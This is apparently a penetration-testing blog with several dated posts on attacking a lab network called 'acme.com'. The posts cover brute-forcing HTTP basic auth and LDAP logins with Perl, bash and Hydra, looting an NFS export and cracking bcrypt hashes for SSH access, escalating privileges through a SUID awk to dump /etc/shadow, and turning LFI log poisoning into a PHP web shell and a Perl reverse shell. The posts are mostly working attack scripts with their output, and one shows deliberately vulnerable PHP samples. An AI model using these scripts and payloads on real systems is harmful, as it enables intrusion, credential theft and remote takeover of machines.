Wednesday, September 11, 2019

Basic HTTP Authentication Dictionary Attack

Basic HTTP Authentication Dictionary Attack

Sometimes you come across basic http authentication which needs to be cracked in order to gain access to the protected contents of the server. We can use two ways to acomplish the task, one is using Hydra to brute force the login and the second is we can write our own script in PERL.

hydra -l admin -P wordlist.txt <hostname> http-get <web-directory>
root@ubuntu:~/public_html# hydra -l admin -P wordlist.txt localhost http-get /~sam/protected
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-08-17 12:26:44
[DATA] max 16 tasks per 1 server, overall 16 tasks, 109 login tries (l:1/p:109), ~7 tries per task
[DATA] attacking http-get://localhost:80//~sam/protected
[80][http-get] host: localhost   login: admin   password: manager
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-08-17 12:26:46
root@ubuntu:~/public_html# 

We can write our own script in perl to apply a dictonary attack on basic HTTP authentication.

#!/usr/bin/env perl
#
# basic http auth brute force
#
use strict;
use warnings;
use LWP::UserAgent;
use URI;

## Target URL
my $target = URI->new("http://localhost/~sam/protected/"); 
my $host = $target->host.":".$target->port;

## Realm to use
my $realm = "Protected Content"; 

## User to brute force
my $user = "admin"; 

## Passwords list
my $wordlist = "wordlist.txt"; 
open(my $fh, '<', $wordlist) or die $!;

my $user_agent = LWP::UserAgent->new();

while (my $pass = <$fh>) {
 chomp($pass);
 $user_agent->credentials($host, $realm, $user, $pass);

 my $res = $user_agent->get($target);

 print "200 OK -> $user:$pass\n" if ($res->is_success); 
}

If we run the script we get the username and password based on a HTTP 200 OK repsonse code.

sam@ubuntu:~/public_html$ perl basic-http-auth.pl
200 OK -> admin:manager
sam@ubuntu:~/public_html$ 

Tuesday, September 3, 2019

Attacking NFS

This is our data set we will work from which was gathered during the OSINT phase from the company website: http://www.acme.com

k.madden@mail.acme.com
t.stephens@mail.acme.com
k.parsons@mail.acme.com
d.hansen@mail.acme.com
k.ball@mail.acme.com
c.harvey@mail.acme.com
j.macdonald@mail.acme.com
c.gibbs@mail.acme.com
j.mcpherson@mail.acme.com
g.joyner@mail.acme.com
c.casey@mail.acme.com
c.eaton@mail.acme.com
c.rojas@mail.acme.com

With this list of email addresses and possible user names we will attempt to gain shell access to the remote through NFS enumeration and exploitaion.

First lets do a quick service scan on our suspected NFS server.

root@asus:~/pentest_notes% nmap -sV -T4 -p111,2049 nemo.acme.com

Starting Nmap 7.01 ( https://nmap.org ) at 2018-12-28 04:21 MST
Nmap scan report for nemo.acme.com
Host is up (0.0024s latency).
PORT     STATE SERVICE VERSION
111/tcp  open  rpcbind 2 (RPC #100000)
2049/tcp open  nfs     2-3 (RPC #100003)
MAC Address: 08:00:27:30:FA:3B (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.97 seconds
root@asus:~/pentest_notes% 

Query rpcbind for information about what services are currently running on the remote host.

sam@asus:~/pentest_notes% rpcinfo -p nemo.acme.com
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100005    1   udp    839  mountd
    100005    3   udp    839  mountd
    100005    1   tcp    673  mountd
    100005    3   tcp    673  mountd
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
sam@asus:~/pentest_notes% 

We can verify is the NFS service is actually running by querying a specfic port and program number.

sam@asus:~/pentest_notes% rpcinfo -n 2049 -t nemo.acme.com 100003
program 100003 version 2 ready and waiting
program 100003 version 3 ready and waiting
sam@asus:~/pentest_notes% 

Now we can query the NFS server and ask to see the list of mountable drives

root@asus:~/pentest_notes% showmount -e nemo.acme.com
Export list for nemo.acme.com:
/export/backups (everyone)
root@asus:~/pentest_notes%

We see that the /export/backups is accessible to everyone so we will try to mount that directory locally. first we need to create a local mount point. we will call this `/mnt/loot`.

root@asus:~/pentest_notes% mkdir /mnt/loot
root@asus:~/pentest_notes%

after we create the local mount point we can try and mount the remote directory.

root@asus:~/pentest_notes% mount nemo.acme.com:/export/backups /mnt/loot
root@asus:~/pentest_notes%

If no errors occur then we are good. now lets see what we got by cd'ing into our local mount point `/mnt/loot`.

root@asus:~/pentest_notes% cd /mnt/loot;ls -la
total 12
drwxrwxrwx 2 root root  512 Dec 27 20:44 .
drwxr-xr-x 4 root root 4096 Dec 28 03:53 ..
-rwxrwxrwx 1 root root 5604 Dec 27 20:44 master.passwd.old
root@asus:/mnt/loot% 
root@asus:/mnt/loot% cat master.passwd.old | less
root:$2b$10$7KoamPq9ZOkL4YUYoaNpHu2S671nAjEd7jhiy6Kf.TWCLpA7xwnrG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh
daemon:*:1:1::0:0:The devil himself:/root:/sbin/nologin
operator:*:2:5::0:0:System &:/operator:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/sbin/nologin
build:*:21:21::0:0:base and xenocara build:/var/empty:/bin/ksh
sshd:*:27:27::0:0:sshd privsep:/var/empty:/sbin/nologin
_portmap:*:28:28::0:0:portmap:/var/empty:/sbin/nologin
_identd:*:29:29::0:0:identd:/var/empty:/sbin/nologin
_rstatd:*:30:30::0:0:rpc.rstatd:/var/empty:/sbin/nologin
...
root@asus:/mnt/loot%

We got what looks like a backup of the master.passwd (BSD) file of the NFS server which we will use next to try and gain shell access.

root@asus:/mnt/loot% cat master.passwd.old | awk 'BEGIN{FS=":"} {if ($3 > 1000 || $3 == 0) print $1 ":" $2}'
root:$2b$10$7KoamPq9ZOkL4YUYoaNpHu2S671nAjEd7jhiy6Kf.TWCLpA7xwnrG
k.madden:$2b$09$d6VfZmp2SbBV1HVo2OYC4ebZeoNspr3XoMVOaCGTaiXaWGng45.3u
t.stephens:$2b$09$daF97oYu6wAi3c0gHkKgPuKn0HAeu8yf8u1b3aBRmxEFXyJHyCpHG
k.parsons:$2b$09$/goSifrmIrT/sds5UHdPwOyQrO9RcoogBUW.r6JviwMi4s.osmp6G
d.hansen:$2b$09$4Z5FxDk1gmLk9/utv8B78OOsEK/fONTPD2kSzFzgGbcXS6t.fxKga
k.ball:$2b$09$Oy1xHnN5akCb3T04X2mdGes.9TRm6uL4eCz7N7HVBFj2FV83aoSxe
c.harvey:$2b$09$a.FBS1/idqVpL1c1W4BtkuZrLiliBrk9FiYsJ834TJQMLosnLWzde
j.macdonald:$2b$09$tNp6xHtL5F1fTCx7cugGh.iqeFwBU5QkXTSDyzHerOLxYwwI0XplC
c.gibbs:$2b$09$J21XaR8.IOy30OXzSU61Kefyg6w24GN5i9nshfQkjOAsJqYHFRDRq
j.mcpherson:$2b$09$2V.h6JWa/I.zY1g0oc/K3uhnYugP0kMUXGCBTzSngi1Km2XKGM3TO
g.joyner:$2b$09$LPPpcASJvm57u7ethcJ9Zezo0btiowPieLNaP2VneMmVZUpu/Us0u
c.casey:$2b$09$tkrV9v9ZOoX/lABPhbBTeOXtHX/hogOXqK47KE6N.DQKKlimDw8LO
c.eaton:$2b$09$1ftTp/OAcRGb5GWlTqeA8.j4naL0dwlIUh.RsQNez1yEOQjDMr/Cq
c.rojas:$2b$09$MMs5cVaZrAlXmT/enxCbSOwzdi3I.PUGaN83wXw5/XHwYRR6oOYY.
root@asus:/mnt/loot%

All these entries will be used in a dictonary attack against the master.passwd file using JTR (John The Ripper).

root@asus:~/src/john/run% ./john --format=bcrypt --wordlist=/home/sam/pentest_notes/ry.txt ~/pentest_notes/master.passwd.openbsd 
Using default input encoding: UTF-8
Loaded 13 password hashes with 13 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 512 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
naruto           (k.ball)
summer           (c.harvey)
whatever         (k.madden)
spongebob        (c.gibbs)
junior           (g.joyner)
yellow           (c.rojas)
taylor           (c.eaton)
cookie           (d.hansen)
sweety           (j.macdonald)
joseph           (j.mcpherson)
dragon           (t.stephens)
softball         (c.casey)
12g 0:00:00:03 DONE (2018-12-28 13:44) 3.508g/s 3.801p/s 49.41c/s 49.41C/s whatever..yellow
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@asus:~/src/john/run% 

After we got the usernames and passwords we could, we can now test for still valid logins using the Hydra tool against SSH.

root@asus:~/pentest_notes% hydra -L nemo.acme.com-userlist.txt -P nemo.acme.com-passlist.txt nemo.acme.com ssh
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-28 13:56:23
[DATA] max 16 tasks per 1 server, overall 64 tasks, 52 login tries (l:13/p:4), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: nemo.acme.com   login: k.madden   password: whatever
[22][ssh] host: nemo.acme.com   login: t.stephens   password: dragon
[22][ssh] host: nemo.acme.com   login: c.casey   password: softball
[22][ssh] host: nemo.acme.com   login: c.rojas   password: yellow
1 of 1 target successfully completed, 4 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-26 22:55:50
root@asus:~/pentest_notes% 

So out of the 13 users we found, 4 of them still use the same password for their login. Now we can verify if each login works.

sam@asus:~/pentest_notes% ssh -l k.madden nemo.acme.com
The authenticity of host 'nemo.acme.com (192.168.0.133)' can't be established.
ECDSA key fingerprint is SHA256:JdXLz4mKxMOL/l6tGK/5ETiDUAWVVX0HCmDiuQyuxig.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'nemo.acme.com' (ECDSA) to the list of known hosts.
k.madden@nemo.acme.com's password: 
OpenBSD 6.4 (GENERIC) #926: Thu Oct 11 13:43:06 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

nemo$ hostname
nemo.acme.com
nemo$ id
uid=1001(k.madden) gid=1001(k.madden) groups=1001(k.madden), 0(wheel)
nemo$ su t.stephens
Password:
nemo$ id
uid=1002(t.stephens) gid=1002(t.stephens) groups=1002(t.stephens), 0(wheel)
nemo$ su c.casey
Password:
nemo$ id
uid=1011(c.casey) gid=1011(c.casey) groups=1011(c.casey), 0(wheel)
nemo$ su c.rojas
Password:
nemo$ id
uid=1013(c.rojas) gid=1013(c.rojas) groups=1013(c.rojas), 0(wheel)
nemo$ exit
nemo$ exit
nemo$ exit
nemo$ exit
Connection to nemo.acme.com closed.
sam@asus:~/pentest_notes% 

As you can see all of the users are in the `wheel` group meaning they can su to root if they know the passwd.

Monday, September 2, 2019

Suid binary exploitation

Suid binary exploitation involves a binary with its SUID bit set so that any thing executed by the program will do so with privelges of that user. First we search for suid binarys in the root of the filesystem.


sam@asus:~% find / -user root -perm -4000 -exec ls -ldb {} \;
-r-sr-xr-x 1 root bin 38836 Aug 10 16:16 /usr/bin/at
-rwsr-xr-x 1 root root 11288 Nov 19 11:29 /usr/bin/awk
-r-sr-xr-x 1 root bin 19812 Aug 10 16:16 /usr/bin/crontab
---s--x--x 1 root sys 46040 Aug 10 15:18 /usr/bin/ct
-r-sr-xr-x 1 root sys 12092 Aug 11 01:29 /usr/lib/mv_dir
-r-sr-sr-x 1 root bin 33208 Aug 10 15:55 /usr/lib/lpadmin
-r-sr-sr-x 1 root bin 38696 Aug 10 15:55 /usr/lib/lpsched
---s--x--- 1 root rar 45376 Aug 18 15:11 /usr/rar/bin/sh
-r-sr-xr-x 1 root bin 12524 Aug 11 01:27 /usr/bin/df
-rwsr-xr-x 1 root sys 21780 Aug 11 01:27 /usr/bin/newgrp
-r-sr-sr-x 1 root sys 23000 Aug 11 01:27 /usr/bin/passwd
-r-sr-xr-x 1 root sys 23824 Aug 11 01:27 /usr/bin/su
...
sam@asus:~%

We can see the AWK programming has `-rwsr` instead of `-rwxr` signifying the suid bit is set on the AWK program. We also see that it is root:root meaning any instruction we pass to AWK will be ran under root privileges.


sam@asus:~% ls -la /usr/bin/awk
-rwsr-xr-x 1 root root 1911288 Nov 19 11:29 /usr/bin/awk
sam@asus:~% 
next we can use the AWK program to try and spawn a simple shell with the awk system() function call.
sam@asus:~% id
uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),27(sudo),46(plugdev),112(lpadmin)
sam@asus:~%

Lets issue our shell command and check our uid/gid stats afterward.

sam@asus:~% awk 'BEGIN{system("/bin/sh")}'
# id
uid=1000(sam) gid=1000(sam) euid=0(root) groups=1000(sam),4(adm),24(cdrom),27(sudo),46(plugdev),112(lpadmin)
# 

And of course we raid the /etc/shadow file for password hashes.


# cut -d: -f1,2 /etc/shadow
...
root:$6$uGqhP09J$cDygxAzkw0gMFeTJsyhTfyYsqY2JPkx6wyJ3gJ6Xgr5aIMUeUZ0gjnaw.GPRQSTuV5ep1gBdcjnlC85GzirU9.
sam:$6$m0baQXyk$o3gxkMH4aI1M5IGJWWI.SBcrpKhcutuPt98O3UtQ8wljLuGmTsX5YKzaDsJSX65g14hf76kVLNZVvPPzVJRV4/
evelyn:$6$mJ3sgN0Q$ex3hiPuSebIvKbVLFFbDvUy.CrZowiSf1g/HAR78hLI8pFMG.WO9wma9dnA45MrIDYpdXtMV2CXK8EXAo6ix61
price:$6$G7zo0DN0$Ob9ro9/fMXYNja40VsbcPCh6AHg9UDGg01Lv33H1eRw.QiB8/kQ0WVbs8yz59w38BwHsJpRCbvN1tquj9exlT.
ralph:$6$GGNFUI3s$bBf5FuCP6cbe2f881sLi2kO1woWqM58wzLGSy72mtLTs4KI/ok7CA4rtHNFXUpd7FHYWfnpQyN0tUCvvqK5qm0
lester:$6$l1ULRsYG$b0eBdMJx8eniZ0UMYlYVyC5O8aUDDg5NWMumLEqO8yowvEbKS/uIhDKjjbEXJ3vvokvhrDs47BSbWpr151tld0
wylie:$6$ao/opbGp$atg67ybDl2hObBB06AcnvJpNggaxMNJ7ubsb8mXPo67qg29uZZ3oCaloiuVrhoHrbNgN0PkSINOF7OnnEr6Ac.
callum:$6$b19tmwgI$NB7lXM8FwzMiV0zQOT5fOpMhmSN6Q6fHswtEHBum66/Wt9IwGR.WHbcL5vzEuCVx8woHv1w/eOF7/PxjKtHWQ.
mannix:$6$2RPPrMar$DDV.sfg7/CZyV2NHsoXa2oIDI/kn3ZK4aHpIcUR59JwPsl1/JeSokDFWRvpiZymgFg1zqh2ZY919Z5D3BDlBs.
# exit
sam@asus:~% 

Since our AWK binary suid bit is set and owned by root `euid=0(root)`, the AWK program will execute any instructions as root. this is one of many tools you can use to escalate privilges on a UNIX box if the suid bit is set.

Sunday, September 1, 2019

Testing LDAP servers with examples

Today we are going to be attacking the remote service LDAP. The only thing we need is an IP Address so lets ping our host to verify its up and running.

sam@asus:~% ping -c 3 148.32.42.5
PING 148.32.42.5 (148.32.42.5) 56(84) bytes of data.
64 bytes from 148.32.42.5: icmp_seq=1 ttl=64 time=0.043 ms
64 bytes from 148.32.42.5: icmp_seq=2 ttl=64 time=0.082 ms
64 bytes from 148.32.42.5: icmp_seq=3 ttl=64 time=0.122 ms

--- 148.32.42.5 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2087ms
rtt min/avg/max/mdev = 0.043/0.082/0.122/0.033 ms
sam@asus:~% 

We first start by scanning the host with nmap to verify if port 389 is indeed open.

sam@asus:~% sudo nmap -sV -p389 148.32.42.5

Starting Nmap 7.01 ( https://nmap.org ) at 2019-01-22 10:55 MST
Nmap scan report for ldap.acme.com (148.32.42.5)
Host is up (0.00014s latency).
PORT    STATE SERVICE VERSION
389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds
sam@asus:~% 

As we can see nmap reports back to us that the is indeed open and running the LDAP service. Anonymous Bind Our next test is to see if this LDAP server is vulnerable to a NULL base or anonymous bind. We will search for all Distinguished Names (DN) in the tree.

sam@asus:~% ldapsearch -x -b "dc=acme,dc=com" "*" -h 148.32.42.5 | awk '/dn: / {print $2}'
dc=acme,dc=com
cn=admin,dc=acme,dc=com
cn=ldapusers,dc=acme,dc=com
cn=evelyn
cn=sales,dc=acme,dc=com
ou=direct,cn=sales,dc=acme,dc=com
ou=channel,cn=sales,dc=acme,dc=com
cn=support,dc=acme,dc=com
cn=training,dc=acme,dc=com
ou=helpdesk,cn=support,dc=acme,dc=com
ou=escalation,cn=support,dc=acme,dc=com
ou=instructors,cn=training,dc=acme,dc=com
ou=course
cn=chris
cn=sam
cn=justin
cn=heath
cn=nick
cn=eric
cn=tim
cn=vaj
sam@asus:~% 

In this case anonymous bind is allowed and we are able to traverse the directory tree as we would if we were a authenticated user. We can go further by pilfering through the directory and find all the user and user names on the server.

Unauthenticated Bind Enumeration (DN with no password)

Lets try a search for all user id's in the directory subtree using the DN `cn=admin,dc=acme,dc=com` and no password.

root@asus:~% ldapsearch -x -D "cn=admin,dc=acme,dc=com" -s sub "cn=*" -h 148.32.42.5 | awk '/uid: /{print $2}' | nl
     1 esampson
     2 cchiu
     3 skumar
     4 jsmith
     5 hahmad
     6 nolsen
     7 ealvarez
     8 tmoreau
     9 vpatel
root@asus:~% 

This what you will see if you come upon a server where unauthenticated binds are disallowed:

sam@asus:~% ldapsearch -x -D "cn=admin,dc=acme,dc=com" -s sub "cn=*" -h 148.32.42.5
ldap_bind: Server is unwilling to perform (53)
additional info: unauthenticated bind (DN with no password) disallowed
sam@asus:~% 

Unauthenticated Binds are only allowed if Anonymous Binds are also enabled.

Authenticated Bind Enumeration

For a authenticated LDAP bind we need to crack some passwords, preferably the ldap administrators. We also need identify the authentication used such as md5 ,etc.

We can get the authentication method by using a bogus password and trying to login

sam@asus:~% ldapwhoami -h ldap.acme.com -w "abcd123"
SASL/DIGEST-MD5 authentication started
ldap_sasl_interactive_bind_s: Invalid credentials (49)
 additional info: SASL(-13): user not found: no secret in database
sam@asus:~%

Dictonary attack to find valid users

We can use Perl and the Net::LDAP module to check for valid users on the remote LDAP server. The simple script below searches for valid users and returns a distinguished name if found. This will help us in our next step which is to guess passwords for the accounts we find in this search. You can get some ideas on username guessing from Enumerating UNIX usernames

#!/usr/bin/env perl
use strict;
use warnings;
use Net::LDAP;

my $server   = "ldap.acme.com";
my $base     = "dc=acme,dc=com";
my $filename = "users.txt";

open(my $fh, '<', $filename) or die $!;

my $ldap = Net::LDAP->new($server) or die $@;

while (my $word = <$fh>) {
    chomp($word);

    my $search = $ldap->search(
        base    => $base,
        scope   => 'sub',
        filter  => '(&(uid='.$word.'))',
        attrs   => ['dn']
    );

    print "[+] Found valid login name $word\n" if(defined($search->entry));
}

We now run the script and fuzz for users on the server

sam@asus:~/public_html% ./ldap-users.pl 
[+] Found valid login name twest
[+] Found valid login name vpatel
[+] Found valid login name hahmad
[+] Found valid login name ealvarez
[+] Found valid login name skumar
[+] Found valid login name tmoreau
[+] Found valid login name jsmith
sam@asus:~/public_html% 

Dictonary attack to find valid password

Once we have a valid list of users on the server, we can move forward to search for valid user and password combinations. We can use Perl and Net::LDAP to query the server and test for valid logins.

#!/usr/bin/env perl
use strict;
use warnings;
use Net::LDAP;

my $server   = "ldap.acme.com";
my $user     = "twest";
my $base     = "dc=acme,dc=com";
my $filename = "wordlist.txt";

open(my $fh, '<', $filename) or die $!;

my $ldap = Net::LDAP->new($server) or die $@;

my $search = $ldap->search(
    base    => $base,
    scope   => 'sub',
    filter  => '(&(uid='.$user.'))',
    attrs   => ['dn']
);

if(defined($search->entry)) {

    my $user_dn = $search->entry->dn;

    print "[*] Searching for valid LDAP login for $user_dn...\n";

    while (my $word = <$fh>) {
        chomp($word);

        my $mesg = $ldap->bind($user_dn, password => $word);

        if ($mesg and $mesg->code() == 0) {
            print "[+] Found valid login $user_dn / $word\n";
            exit;
        }
    }
} else {
    print "[x] $user is not a valid LDAP user...\n";
    exit;
}

print "[x] No valid LDAP logins found...\n";

Running the script against the server we get the following

sam@asus:~/public_html% ./ldap-passwords.pl 
[*] Searching for valid LDAP login for cn=tim west,ou=channel,cn=sales,dc=acme,dc=com...
[+] Found valid login cn=tim west,ou=channel,cn=sales,dc=acme,dc=com / password
sam@asus:~/public_html% 

Using ldapwhoami to gain access

Here is a script to test a list of passwords against a valid Distingushed Name (DN) on a remote host.

#!/usr/bin/env bash
##
## Dictonary password attack against a valid DN using ldapwhoami
##

dn="cn=admin,dc=acme,dc=com"
host="ldap.acme.com"
list="wordlist.txt"

file=$(<${list})
wordlist=(`echo $file | sed 's/ /\n/g'`)

for word in "${wordlist[@]}"
do
    ldapwhoami -h ${host} -D "${dn}" -w "${word}" 2>/dev/null
    
    if [ $? == 0 ]
    then
        echo "Password \`${word}\` found for user"
    fi
done

if we run the shell script we should see this on success.

root@asus:~/pentest_notes% ./ldapwhoami-dictonary.sh 
dn:cn=admin,dc=acme,dc=com
Password `ldapadmin` found for user
root@asus:~/pentest_notes% 

Dumping data

If we do an ldap search with our user and pass with a search filter of (objectClass=*), a dump of the whole directory tree from admin.

root@asus:~/pentest_notes% ldapsearch -D "cn=admin,dc=acme,dc=com" "(objectClass=*)" -w ldapadmin -h ldap.acme.com
# extended LDIF
#
# LDAPv3
# base  (default) with scope subtree
# filter: (objectclass=*)
# requesting: * 
#

# acme.com
dn: dc=acme,dc=com
objectClass: top
objectClass: dcObject
objectClass: organization
o: Acme
dc: acme

# admin, acme.com
dn: cn=admin,dc=acme,dc=com
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
userPassword:: e1NTSEF9SW5uaE9PdFRmdENveWhPUDFTUFVnSnNMZ3ZxSVA3aUw=

# ldapusers, acme.com
dn: cn=ldapusers,dc=acme,dc=com
...
root@asus:~/pentest_notes%

Cracking OpenLDAP Passwords

the password hashes are encoded in base64 we can easly decode the string to extract the hash

root@asus:~/pentest_notes% echo "e01ENX0wTHVBcXJ1R0diYmpVUlB3TG5KMUt3PT0=" | base64 -d
{MD5}0LuAqruGGbbjURPwLnJ1Kw==
root@asus:~/pentest_notes%

All these hashes can be loaded up in JTR and cracked to get shell access on the remote system.

root@asus:~/src/john/run% ./john --wordlist=/home/sam/pentest_notes/rockyou.txt /home/sam/openldap.txt       
Using default input encoding: UTF-8
Loaded 8 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE4.1 4x3])
Remaining 7 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (hahmad)
education        (ealvarez)
kumar            (skumar)
jsmith           (jsmith)
instructor       (tmoreau)
hindu            (vpatel)
6g 0:00:00:04 DONE (2019-01-20 22:18) 1.360g/s 3252Kp/s 3252Kc/s 3363KC/s  filimani.¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
root@asus:~/src/john/run%

Monday, August 19, 2019

LFI to Remote Code Execution

LFI to Remote Code Execution

The idea is to inject PHP code in to the access log of the HTTP server, then include the log file via our LFI where the PHP code will be interpreted by the web server. once the PHP code is injected we can issue system command to be ran on the remote web server via our LFI exploit.

Something to take in to account is that the log files have to be readable. If you do not have read access to the file it will not work.

We can use netcat to send the request to the server using the following PHP code '<?php passthru($_GET['cmd']);?>' in a GET request.

root@ubuntu:~# nc localhost 80
GET /<?php passthru($_GET['cmd']);?> HTTP/1.1
HTTP/1.1 400 Bad Request
Date: Sun, 18 Aug 2019 01:57:02 GMT
Server: Apache/2.4.29 (Ubuntu)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 127.0.1.1 Port 80</address>
</body></html>

root@ubuntu:~#

Apache log file entry

127.0.0.1 - - [17/Aug/2019:19:57:02 -0600] "GET /<?php passthru($_GET['cmd']);?> HTTP/1.1\n" 400 0 "-" "-"

The log entry above shows the PHP code we injected. This code will be intrepreted by the webserver as PHP code and executed when viewed.

Running commands

Before we can run commands on the remote machine we need to append our PHP variable contained in the code we injected eariler, in this example it is 'cmd'. We can append our command variable using the '&' symbol.

So our final URL should look something like this:

http://localhost/~sam/fuzz.php?file=../../logs/access.log&cmd=uname -a

Linux ubuntu 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Reverse connect shell

We want an interactive shell we can issue commands from and for that we can use a reverse connect shell. What a reverse connect shell does is causes the remote machine to connect back to the attackers computer which is acting as a server listening for connections on a certain port.

#!/usr/bin/env perl
use Socket;

$i=127.0.0.1;
$p=4444;

socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));

if (connect(S,sockaddr_in($p,inet_aton($i)))) {
	open(STDIN,">&S");
	open(STDOUT,">&S");
	open(STDERR,">&S");

	exec("/bin/sh -i");	
}

In order to get the remote machine to connect back we need to execute the perl script on the server. We append out perl code to our command url and send the request.

First we need to setup the listener. We do so by issuing the following netcat command: nc -nvlp [port].

root@ubuntu:~# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)

Once the listener is up and running we can issue the GET request with our PERL code appended to our URL.

localhost/~sam/fuzz.php?file=../../logs/access.log&cmd=[perl code...]

If everything goes well you will have a successful connect back which drops to a system prompt where you will be able to issue commands.

root@ubuntu:~# nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 127.0.0.1 47392 received!
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux ubuntu 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
$ whoami       
www-data
$ 

Sunday, August 4, 2019

Auditing PHP Applications for Local File Disclosure Vulnerabilities

Searching for vulnerabilities using grep

You can search for these function using the grep utility. you can also specify the patterns in a file grep will read from. this is a good way to match mutiliple patterns over multiple files.

This is the contents of our patterns.txt file:

include(
include_once(
require(
require_once(
file_get_contents(
readfile(
fread(
fgets(
Command: grep -f patterns.txt -r -n /path/to/dir

The 'r' option tells grep to read all files in the directory , while the 'n' option tells grep to output line numbers

sam@ubuntu:~/public_html$ grep -f patterns.txt -r -n file_upload_audit/
file_upload_audit/include.php:3:include($file);
file_upload_audit/fgets.php:6: echo fgets($fh);
file_upload_audit/get-cont.php:4:echo file_get_contents($file);
file_upload_audit/readfile.php:4:readfile($file);
file_upload_audit/fread.php:5:echo fread($fh,filesize($file));
sam@ubuntu:~/public_html$

include(),include_once(),require(),require_once()

<?php
 $file = $_GET['file'];
 include($file);
?>

Final URL:

http://localhost/~sam/include.php?file=/etc/passwd

file_get_contents()

the file_get_contents functions takes a path to a file as is argument and returns the output of the file in a string format. You can include files through this function just like the include and require functions above.

<?php
 $file = $_GET['file'];
 echo file_get_contents($file);
?>

Final URL:

http://localhost/~sam/get-cont.php?file=/etc/passwd

readfile()

the readfile() function simply reads a file and writes it to output. If you can control what goes in to read file a local file inclusion can occur.

<?php
 $file = $_GET['file'];
 readfile($file);
?>

fread()

fread function take a resource created by fopen which fread then reads the file and outputs the result. This too can be vulnerable to a local file inclusion if the input isnt sanitized.

<?php
$file = $_GET['file'];
$fh = fopen($file,"r");
echo fread($fh,filesize($file));
fclose($fh);
?>

fgets()

fgets function is like the fread function above. fgets takes a resource from fopen and returns the result of the file being read line by line.

<?php 
$file = $_GET['file'];
$fh = fopen($file,"r");

while (!feof($fh)) {
 echo fgets($fh);
}

fclose($fh);
?>

Monday, May 6, 2019

Enumerating DNS with Examples

DNS Enumeration with host

The host utility translates IP addresses to their named equivalent and vice versa.

Perform a DNS Query for ANY Resource Record type

The '-a' option returns a resource record of type ANY to the screen.

host -a [domain] [nameserver]
sam@asus:~/unix% host -a acme.com 127.0.0.1
Trying "acme.com"
Using domain server:
Name: 127.0.0.1
Address: 127.0.0.1#53
Aliases: 

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51858
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 2

;; QUESTION SECTION:
;acme.com.   IN ANY

;; ANSWER SECTION:
acme.com.  86400 IN SOA pri.acme.com. root.acme.com. 2011071001 3600 1800 604800 86400
acme.com.  86400 IN NS pri.acme.com.
acme.com.  86400 IN NS sec.acme.com.
acme.com.  86400 IN A 192.168.1.201
acme.com.  86400 IN A 192.168.1.200
acme.com.  86400 IN A 192.168.1.202

;; ADDITIONAL SECTION:
pri.acme.com.  86400 IN A 192.168.1.200
sec.acme.com.  86400 IN A 192.168.1.201

Received 183 bytes from 127.0.0.1#53 in 1 ms
sam@asus:~/unix% 

Perfrom a DNS Query by Type

The '-t' option allows you to specfiy the resource record type to return. These records can be a CNAME, NS, SOA, A, AAAA, AXFR, MX, etc.

host -t [rr-type] [domain]
sam@asus:~/unix% host -t ns acme.com
acme.com name server ns1.indra.com.
acme.com name server ns2.indra.com.
acme.com name server dns.bitway.com.
sam@asus:~/unix%
sam@asus:~/unix% host -t SOA acme.com
acme.com has SOA record localhost.acme.com. jef.acme.com. 2018111112 10800 1200 86400 3600
sam@asus:~/unix%
sam@asus:~/unix% host -t MX acme.com
acme.com mail is handled by 10 mail2b.smtproutes.org.
acme.com mail is handled by 10 smtp-c.acme.com.
acme.com mail is handled by 10 mail2a.smtproutes.org.
acme.com mail is handled by 10 oslo.cs.princeton.edu.
